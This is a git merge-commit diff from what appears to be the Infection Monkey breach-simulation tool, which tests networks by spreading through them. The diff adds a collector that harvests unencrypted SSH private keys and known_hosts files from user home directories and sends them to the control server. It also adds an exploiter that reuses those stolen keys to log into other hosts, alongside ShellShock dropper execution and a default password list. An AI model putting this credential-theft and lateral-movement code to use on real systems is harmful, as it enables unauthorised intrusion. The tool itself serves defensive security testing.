Merge branch 'develop' into feature/MSSQL_fingerprint

This commit is contained in:
maor.rayzin 2018-06-11 20:19:12 +03:00
commit fe1f6d67e5
29 changed files with 1236 additions and 504 deletions

View File

@ -4,6 +4,7 @@ import struct
from abc import ABCMeta, abstractmethod
import ipaddress
from six import text_type
__author__ = 'itamar'
@ -65,7 +66,7 @@ class CidrRange(NetworkRange):
def __init__(self, cidr_range, shuffle=True):
super(CidrRange, self).__init__(shuffle=shuffle)
self._cidr_range = cidr_range.strip()
self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False)
self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False)
def __repr__(self):
return "<CidrRange %s>" % (self._cidr_range,)

View File

@ -234,6 +234,12 @@ class Configuration(object):
"""
return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_ssh_key_pairs(self):
"""
:return: All combinations of the configurations users and ssh pairs
"""
return product(self.exploit_user_list, self.exploit_ssh_keys)
def get_exploit_user_password_or_hash_product(self):
"""
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
@ -252,6 +258,7 @@ class Configuration(object):
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
exploit_ssh_keys = []
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds

View File

@ -68,6 +68,7 @@
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],

View File

@ -24,9 +24,9 @@ class HostExploiter(object):
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
@abstractmethod
def exploit_host(self):

View File

@ -8,7 +8,7 @@ import requests
from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG
from model import DROPPER_ARG
from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline
@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
self.attack_page(url, header, run_path)
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline
self.attack_page(url, header, run_path)

View File

@ -2,6 +2,7 @@ import logging
import time
import paramiko
import StringIO
import monkeyfs
from exploit import HostExploiter
@ -31,6 +32,65 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time()
def exploit_with_ssh_keys(self, port, ssh):
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
exploited = False
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
LOG.error("Failed reading ssh key")
try:
ssh.connect(self.host.ip_addr,
username=user,
pkey=pkey,
port=port,
timeout=None)
LOG.debug("Successfully logged in %s using %s users private key",
self.host, ssh_string)
exploited = True
self.report_login_attempt(True, user, ssh_key=ssh_string)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with %s"
" private key", self.host,
ssh_string)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
return exploited
def exploit_with_login_creds(self, port, ssh):
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, curpass in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
exploited = True
self.report_login_attempt(True, user, curpass)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
return exploited
def exploit_host(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -46,29 +106,10 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
exploited = False
for user, curpass in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
self.report_login_attempt(True, user, curpass)
exploited = True
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
continue
#Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
if not exploited:
exploited = self.exploit_with_login_creds(port, ssh)
if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...")

View File

@ -12,6 +12,7 @@ from control import ControlClient
from model import DELAY_DELETE_CMD
from network.firewall import app as firewall
from network.network_scanner import NetworkScanner
from six.moves import xrange
from system_info import SystemInfoCollector
from system_singleton import SystemSingleton
from windows_upgrader import WindowsUpgrader

View File

@ -10,8 +10,7 @@ odict
paramiko
psutil==3.4.2
PyInstaller
six
ecdsa
netifaces
mock
nose
ipaddress
ipaddress

View File

@ -0,0 +1,96 @@
import logging
import pwd
import os
import glob
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class SSHCollector(object):
"""
SSH keys and known hosts collection module
"""
default_dirs = ['/.ssh/', '/']
@staticmethod
def get_info():
LOG.info("Started scanning for ssh keys")
home_dirs = SSHCollector.get_home_dirs()
ssh_info = SSHCollector.get_ssh_files(home_dirs)
LOG.info("Scanned for ssh keys")
return ssh_info
@staticmethod
def get_ssh_struct(name, home_dir):
"""
:return: SSH info struct with these fields:
name: username of user, for whom the keys belong
home_dir: users home directory
public_key: contents of *.pub file(public key)
private_key: contents of * file(private key)
known_hosts: contents of known_hosts file(all the servers keys are good for,
possibly hashed)
"""
return {'name': name, 'home_dir': home_dir, 'public_key': None,
'private_key': None, 'known_hosts': None}
@staticmethod
def get_home_dirs():
root_dir = SSHCollector.get_ssh_struct('root', '')
home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
if x.pw_dir.startswith('/home')]
home_dirs.append(root_dir)
return home_dirs
@staticmethod
def get_ssh_files(usr_info):
for info in usr_info:
path = info['home_dir']
for directory in SSHCollector.default_dirs:
if os.path.isdir(path + directory):
try:
current_path = path + directory
# Searching for public key
if glob.glob(os.path.join(current_path, '*.pub')):
# Getting first file in current path with .pub extension(public key)
public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
LOG.info("Found public key in %s" % public)
try:
with open(public) as f:
info['public_key'] = f.read()
# By default private key has the same name as public, only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private):
try:
with open(private) as f:
# no use from ssh key if it's encrypted
private_key = f.read()
if private_key.find('ENCRYPTED') == -1:
info['private_key'] = private_key
LOG.info("Found private key in %s" % private)
else:
continue
except (IOError, OSError):
pass
# By default known hosts file is called 'known_hosts'
known_hosts = os.path.join(current_path, 'known_hosts')
if os.path.exists(known_hosts):
try:
with open(known_hosts) as f:
info['known_hosts'] = f.read()
LOG.info("Found known_hosts in %s" % known_hosts)
except (IOError, OSError):
pass
# If private key found don't search more
if info['private_key']:
break
except (IOError, OSError):
pass
except OSError:
pass
usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts']
or info['public_key']]
return usr_info

View File

@ -1,6 +1,7 @@
import logging
from . import InfoCollector
from SSH_info_collector import SSHCollector
__author__ = 'uri'
@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector):
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info

View File

@ -1,45 +0,0 @@
# -*- coding: UTF-8 -*-
# NOTE: Launch all tests with `nosetests` command from infection_monkey dir.
import json
import unittest
from mock import Mock, patch
import control
from config import GUID
class ReportConfigErrorTestCase(unittest.TestCase):
"""
When unknown config variable received form the island server, skip it and report config
error back to the server.
"""
config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}}))
def teardown(self):
patch.stopall()
def test_config(self):
patch('control.requests.patch', Mock()).start()
patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start()
# GIVEN the server with uknown config variable
patch('control.requests.get', Mock(return_value=self.config_response)).start()
# WHEN monkey tries to load config from server
control.ControlClient.load_control_config()
# THEN she reports config error back to the server
control.requests.patch.assert_called_once_with(
"https://127.0.0.1:123/api/monkey/%s" % GUID,
data=json.dumps({'config_error': True}),
headers={'content-type': 'application/json'},
verify=False,
proxies=control.ControlClient.proxies)
if __name__ == '__main__':
unittest.main()

View File

@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun
from cc.resources.edge import Edge
from cc.resources.local_run import LocalRun
from cc.resources.log import Log
from cc.resources.island_logs import IslandLog
from cc.resources.monkey import Monkey
from cc.resources.monkey_configuration import MonkeyConfiguration
from cc.resources.monkey_download import MonkeyDownload
@ -104,5 +105,6 @@ def init_app(mongo_url):
api.add_resource(Report, '/api/report', '/api/report/')
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
return app

View File

@ -1,7 +1,11 @@
import json
import logging
import standard
import aws
logger = logging.getLogger(__name__)
ENV_DICT = {
'standard': standard.StandardEnvironment,
'aws': aws.AwsEnvironment
@ -18,6 +22,7 @@ def load_env_from_file():
try:
__env_type = load_env_from_file()
env = ENV_DICT[__env_type]()
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
except Exception:
print('Failed initializing environment: %s' % __env_type)
logger.error('Failed initializing environment', exc_info=True)
raise

View File

@ -0,0 +1,26 @@
import os
import json
import logging.config
__author__ = 'Maor.Rayzin'
def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'):
"""
Setup the logging configuration
:param default_path: the default log configuration file path
:param default_level: Default level to log from
:param env_key: SYS ENV key to use for external configuration file path
:return:
"""
path = default_path
value = os.getenv(env_key, None)
if value:
path = value
if os.path.exists(path):
with open(path, 'rt') as f:
config = json.load(f)
logging.config.dictConfig(config)
else:
logging.basicConfig(level=default_level)

View File

@ -0,0 +1,33 @@
{
"version": 1,
"disable_existing_loggers": false,
"formatters": {
"simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "INFO",
"handlers": ["console", "info_file_handler"]
}
}

View File

@ -2,19 +2,25 @@ from __future__ import print_function # In python 2.7
import os
import sys
import time
import logging
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH)
from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
from cc.app import init_app
from cc.utils import local_ip_addresses
from cc.environment.environment import env
from cc.database import is_db_server_up
if __name__ == '__main__':
def main():
from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop
@ -22,7 +28,7 @@ if __name__ == '__main__':
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
while not is_db_server_up(mongo_url):
print('Waiting for MongoDB server')
logger.info('Waiting for MongoDB server')
time.sleep(1)
app = init_app(mongo_url)
@ -33,6 +39,10 @@ if __name__ == '__main__':
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
http_server.listen(env.get_island_port())
print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
IOLoop.instance().start()
if __name__ == '__main__':
main()

View File

@ -1,3 +1,4 @@
import logging
from flask import request, jsonify
import flask_restful
@ -5,6 +6,8 @@ from cc.services.node import NodeService
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class ClientRun(flask_restful.Resource):
def get(self):
@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource):
if monkey is not None:
is_monkey_running = not monkey["dead"]
else:
logger.info("Monkey is not running")
is_monkey_running = False
return jsonify(is_running=is_monkey_running)

View File

@ -0,0 +1,19 @@
import logging
import flask_restful
from cc.auth import jwt_required
from cc.services.island_logs import IslandLogService
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLog(flask_restful.Resource):
@jwt_required()
def get(self):
try:
return IslandLogService.get_log_file()
except Exception as e:
logger.error('Monkey Island logs failed to download', exc_info=True)

View File

@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)
def run_local_monkey():
import platform
@ -32,6 +34,7 @@ def run_local_monkey():
copyfile(monkey_path, target_path)
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
except Exception as exc:
logger.error('Copy file failed', exc_info=True)
return False, "Copy file failed: %s" % exc
# run the monkey
@ -41,6 +44,7 @@ def run_local_monkey():
args = "".join(args)
pid = subprocess.Popen(args, shell=True).pid
except Exception as exc:
logger.error('popen failed', exc_info=True)
return False, "popen failed: %s" % exc
return True, "pis: %s" % pid

View File

@ -1,3 +1,4 @@
import logging
import json
import os
@ -6,6 +7,8 @@ import flask_restful
__author__ = 'Barak'
logger = logging.getLogger(__name__)
MONKEY_DOWNLOADS = [
{
@ -42,7 +45,10 @@ MONKEY_DOWNLOADS = [
def get_monkey_executable(host_os, machine):
for download in MONKEY_DOWNLOADS:
if host_os == download.get('type') and machine == download.get('machine'):
logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine))
return download
logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}'
.format(host_os, machine))
return None

View File

@ -1,4 +1,5 @@
from datetime import datetime
import logging
import flask_restful
from flask import request, make_response, jsonify
@ -12,6 +13,8 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak'
logger = logging.getLogger(__name__)
class Root(flask_restful.Resource):
@ -42,6 +45,7 @@ class Root(flask_restful.Resource):
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()
logger.info('DB was reset')
return jsonify(status='OK')
@staticmethod
@ -50,6 +54,7 @@ class Root(flask_restful.Resource):
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
upsert=False,
multi=True)
logger.info('Kill all monkeys was called')
return jsonify(status='OK')
@staticmethod

View File

@ -1,4 +1,5 @@
import json
import logging
import traceback
import copy
from datetime import datetime
@ -17,6 +18,9 @@ from cc.encryptor import encryptor
__author__ = 'Barak'
logger = logging.getLogger(__name__)
class Telemetry(flask_restful.Resource):
@jwt_required()
def get(self, **kw):
@ -52,10 +56,9 @@ class Telemetry(flask_restful.Resource):
if telem_type in TELEM_PROCESS_DICT:
TELEM_PROCESS_DICT[telem_type](telemetry_json)
else:
print('Got unknown type of telemetry: %s' % telem_type)
logger.info('Got unknown type of telemetry: %s' % telem_type)
except Exception as ex:
print("Exception caught while processing telemetry: %s" % str(ex))
traceback.print_exc()
logger.error("Exception caught while processing telemetry", exc_info=True)
telem_id = mongo.db.telemetry.insert(telemetry_json)
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@ -130,7 +133,7 @@ class Telemetry(flask_restful.Resource):
for attempt in telemetry_json['data']['attempts']:
if attempt['result']:
found_creds = {'user': attempt['user']}
for field in ['password', 'lm_hash', 'ntlm_hash']:
for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
if len(attempt[field]) != 0:
found_creds[field] = attempt[field]
NodeService.add_credentials_to_node(edge['to'], found_creds)
@ -167,12 +170,24 @@ class Telemetry(flask_restful.Resource):
@staticmethod
def process_system_info_telemetry(telemetry_json):
if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
if telemetry_json['data']['network_info']['networks']:
# We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials']
Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds)
@staticmethod
def add_ip_to_ssh_keys(ip, ssh_info):
for key in ssh_info:
key['ip'] = ip['addr']
@staticmethod
def process_trace_telemetry(telemetry_json):
# Nothing to do
@ -193,6 +208,13 @@ class Telemetry(flask_restful.Resource):
# this encoding is because we might run into passwords which are not pure ASCII
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
@staticmethod
def encrypt_system_info_ssh_keys(ssh_info):
for idx, user in enumerate(ssh_info):
for field in ['public_key', 'private_key', 'known_hosts']:
if ssh_info[idx][field]:
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
@staticmethod
def add_system_info_creds_to_config(creds):
for user in creds:
@ -204,6 +226,15 @@ class Telemetry(flask_restful.Resource):
if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
@staticmethod
def add_system_info_ssh_keys_to_config(ssh_info):
for user in ssh_info:
ConfigService.creds_add_username(user['name'])
# Public key is useless without private key
if user['public_key'] and user['private_key']:
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
user['name'], user['ip'])
@staticmethod
def encrypt_exploit_creds(telemetry_json):
attempts = telemetry_json['data']['attempts']

View File

@ -1,7 +1,9 @@
import copy
import collections
import functools
import logging
from jsonschema import Draft4Validator, validators
from six import string_types
from cc.database import mongo
from cc.encryptor import encryptor
@ -10,6 +12,8 @@ from cc.utils import local_ip_addresses
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0"
SCHEMA = {
@ -504,6 +508,16 @@ SCHEMA = {
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
},
@ -800,7 +814,8 @@ ENCRYPTED_CONFIG_ARRAYS = \
[
['basic', 'credentials', 'exploit_password_list'],
['internal', 'exploits', 'exploit_lm_hash_list'],
['internal', 'exploits', 'exploit_ntlm_hash_list']
['internal', 'exploits', 'exploit_ntlm_hash_list'],
['internal', 'exploits', 'exploit_ssh_keys']
]
@ -888,11 +903,24 @@ class ConfigService:
def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def ssh_add_keys(public_key, private_key, user, ip):
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
False, False), user, ip):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
{"public_key": public_key, "private_key": private_key,
"user": user, "ip": ip})
@staticmethod
def ssh_key_exists(keys, user, ip):
return [key for key in keys if key['user'] == user and key['ip'] == ip]
@staticmethod
def update_config(config_json, should_encrypt):
if should_encrypt:
ConfigService.encrypt_config(config_json)
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
logger.info('monkey config was updated')
@staticmethod
def init_default_config():
@ -908,6 +936,7 @@ class ConfigService:
config = copy.deepcopy(ConfigService.default_config)
if should_encrypt:
ConfigService.encrypt_config(config)
logger.info("Default config was called")
return config
@staticmethod
@ -921,6 +950,7 @@ class ConfigService:
config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False)
logger.info('Monkey config reset was called')
@staticmethod
def set_server_ips_in_config(config):
@ -937,6 +967,7 @@ class ConfigService:
initial_config['name'] = 'initial'
initial_config.pop('_id')
mongo.db.config.insert(initial_config)
logger.info('Monkey config was inserted to mongo and saved')
@staticmethod
def _extend_config_with_default(validator_class):
@ -978,8 +1009,12 @@ class ConfigService:
"""
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
# Check if we are decrypting ssh key pair
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
else:
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else:
flat_config[key] = encryptor.dec(flat_config[key])
return flat_config
@ -992,4 +1027,19 @@ class ConfigService:
config_arr = config_arr[config_key_part]
for i in range(len(config_arr)):
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
@staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False):
if encrypt:
pair['public_key'] = encryptor.enc(pair['public_key'])
pair['private_key'] = encryptor.enc(pair['private_key'])
else:
pair['public_key'] = encryptor.dec(pair['public_key'])
pair['private_key'] = encryptor.dec(pair['private_key'])
return pair

View File

@ -0,0 +1,32 @@
import logging
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLogService:
def __init__(self):
pass
@staticmethod
def get_log_file():
"""
This static function is a helper function for the monkey island log download function.
It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler
has the property handler.baseFilename.
:return:
a dict with the log file content.
"""
logger_handlers = logger.parent.handlers
for handler in logger_handlers:
if hasattr(handler, 'baseFilename'):
logger.info('Log file found: {0}'.format(handler.baseFilename))
log_file_path = handler.baseFilename
with open(log_file_path, 'rt') as f:
log_file = f.read()
return {
'log_file': log_file
}
logger.warning('No log file could be found, check logger config.')
return None

View File

@ -1,6 +1,9 @@
import ipaddress
import logging
from enum import Enum
from six import text_type
from cc.database import mongo
from cc.services.config import ConfigService
from cc.services.edge import EdgeService
@ -10,6 +13,9 @@ from cc.utils import local_ip_addresses, get_subnets
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class ReportService:
def __init__(self):
pass
@ -34,6 +40,7 @@ class ReportService:
SHELLSHOCK = 4
CONFICKER = 5
AZURE = 6
STOLEN_SSH_KEYS = 7
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -77,6 +84,8 @@ class ReportService:
creds = ReportService.get_azure_creds()
machines = set([instance['origin'] for instance in creds])
logger.info('Azure issues generated for reporting')
return [
{
'type': 'azure_password',
@ -103,6 +112,8 @@ class ReportService:
}
for node in nodes]
logger.info('Scanned nodes generated for reporting')
return nodes
@staticmethod
@ -124,6 +135,8 @@ class ReportService:
}
for monkey in exploited]
logger.info('Exploited nodes generated for reporting')
return exploited
@staticmethod
@ -147,6 +160,28 @@ class ReportService:
'origin': origin
}
)
logger.info('Stolen creds generated for reporting')
return creds
@staticmethod
def get_ssh_keys():
"""
Return private ssh keys found as credentials
:return: List of credentials
"""
creds = []
for telem in mongo.db.telemetry.find(
{'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
{'data.ssh_info': 1, 'monkey_guid': 1}
):
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
if telem['data']['ssh_info']:
# Pick out all ssh keys not yet included in creds
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} for key_pair in telem['data']['ssh_info']
if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} not in creds]
creds.extend(ssh_keys)
return creds
@staticmethod
@ -167,6 +202,8 @@ class ReportService:
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
'origin': origin} for user in azure_users]
creds.extend(azure_leaked_users)
logger.info('Azure machines creds generated for reporting')
return creds
@staticmethod
@ -182,9 +219,12 @@ class ReportService:
for attempt in exploit['data']['attempts']:
if attempt['result']:
processed_exploit['username'] = attempt['user']
if len(attempt['password']) > 0:
if attempt['password']:
processed_exploit['type'] = 'password'
processed_exploit['password'] = attempt['password']
elif attempt['ssh_key']:
processed_exploit['type'] = 'ssh_key'
processed_exploit['ssh_key'] = attempt['ssh_key']
else:
processed_exploit['type'] = 'hash'
return processed_exploit
@ -210,8 +250,12 @@ class ReportService:
@staticmethod
def process_ssh_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'ssh'
return processed_exploit
# Check if it's ssh key or ssh login credentials exploit
if processed_exploit['type'] == 'ssh_key':
return processed_exploit
else:
processed_exploit['type'] = 'ssh'
return processed_exploit
@staticmethod
def process_rdp_exploit(exploit):
@ -282,7 +326,7 @@ class ReportService:
return \
[
ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network
ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network
for network in network_info['data']['network_info']['networks']
]
@ -295,7 +339,7 @@ class ReportService:
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
for subnet in monkey_subnets:
for ip in island_ips:
if ipaddress.ip_address(unicode(ip)) in subnet:
if ipaddress.ip_address(text_type(ip)) in subnet:
found_good_ip = True
break
if found_good_ip:
@ -311,13 +355,15 @@ class ReportService:
@staticmethod
def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues_dict = {}
for issue in issues:
machine = issue['machine']
if machine not in issues_dict:
issues_dict[machine] = []
issues_dict[machine].append(issue)
logger.info('Issues generated for reporting')
return issues_dict
@staticmethod
@ -371,8 +417,10 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'] == 'ssh_key':
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users:
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
@ -405,6 +453,7 @@ class ReportService:
{'name': 'generated_report'},
{'$set': {'value': True}},
upsert=True)
logger.info("Report marked as generated.")
@staticmethod
def get_report():
@ -433,6 +482,7 @@ class ReportService:
'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
'ssh_keys': ReportService.get_ssh_keys()
},
'recommendations':
{

File diff suppressed because it is too large Load Diff

View File

@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent {
SAMBACRY: 3,
SHELLSHOCK: 4,
CONFICKER: 5,
AZURE: 6
AZURE: 6,
STOLEN_SSH_KEYS: 7
};
Warning =
@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent {
return x === true;
}).length} threats</span>:
<ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
@ -343,7 +346,7 @@ class ReportPageComponent extends AuthComponent {
<li>Weak segmentation - Machines from different segments are able to
communicate.</li> : null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
<li>Weak segmentation - machines were able to communicate over unused ports.</li> : null}
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
</ul>
</div>
:
@ -414,7 +417,7 @@ class ReportPageComponent extends AuthComponent {
